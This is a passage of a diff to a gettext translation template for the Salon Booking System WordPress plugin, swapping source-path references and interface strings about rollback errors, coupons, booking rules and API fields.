build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:406, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:433, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_summary_show_tips.php:17\n-msgid \"Tips\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:154\n+msgid \"Could not create backup directory.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:434, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:434, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:407, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:434\n-msgid \"Close tooltip\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:173\n+msgid \"Could not create backup file.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:38\n-msgid \"Customer details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:218\n+msgid \"Could not download plugin file.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:128, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:128, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:128\n-msgid \"Personal note\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:199\n+msgid \"Could not download version.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:135\n-msgid \"Administration note\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:245\n+msgid \"Could not extract plugin files.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:141, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:141, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:141, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:141\n-msgid \"Customer's bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:380\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:380\n+msgid \"Could not send feedback request.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:143\n-msgid \"Booking statistics\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:11\n+msgid \"Counselling\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:320\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:335\n+msgid \"Country code\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:148, views\u002Fadmin\u002F_customer.php:168, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:148, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:168, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:148, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:148, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:168\n-msgid \"Reservations made and value\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:115\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FEnum\u002FDiscountType.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php:115\n+msgid \"Coupon code\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:151, views\u002Fadmin\u002F_customer.php:181, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:181, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:181, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:151, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:181\n-msgid \"Reservations per month\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:753\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:844\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:753\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FWrapper\u002FDiscount.php:844\n+msgid \"Coupon expired\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:154, views\u002Fadmin\u002F_customer.php:194, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:154, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:194, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:154, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:194, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:194\n-msgid \"Reservations per week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:118\n+msgid \"Coupon is not valid\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:157, views\u002Fadmin\u002F_customer.php:207, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:157, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:207, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:157, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:207, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:157, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:207\n-msgid \"Services booked per single reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:141\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php:141\n+msgid \"Coupon was applied\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:160, views\u002Fadmin\u002F_customer.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:160, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:160, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:215\n-msgid \"Favourite week days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:121\n+msgid \"Create a new cron job\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:84\n+msgid \"Create coupon codes and discounts.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:964\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1058\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:964\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1058\n+msgid \"Create new customer error.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:163, views\u002Fadmin\u002F_customer.php:237, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:163, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:237, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:163, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:237, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:237\n-msgid \"Favourite time\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rules.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_exclusion_rules.php:25\n+msgid \"\"\n+\"Create one or more rules to define when this discount cannot be applied.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:229, views\u002Fadmin\u002F_customer.php:247, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:229, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:247, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:229, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_customer.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:229, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:247\n-msgid \"not avalable yet\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rules.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002F_tab_attendant_rules.php:9\n+msgid \"\"\n+\"Create one or more rules to limit online reservation to specific days and \"\n+\"time range. \u003Cbr \u002F>Leave blank if you want bookings available everydays at \"\n+\"every hour\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:263, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:263, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:263, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:263\n-msgid \"No-Show History\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:119\n+msgid \"CREATED\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:292, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:292, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:292, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:292, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:292\n-msgid \"Total No-Shows:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1390\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1560\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1390\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1560\n+msgid \"Created timestamp for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_customer.php:298, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_customer.php:298, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_customer.php:298, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_customer.php:298\n-msgid \"No-Show Rate:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1684\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:876\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 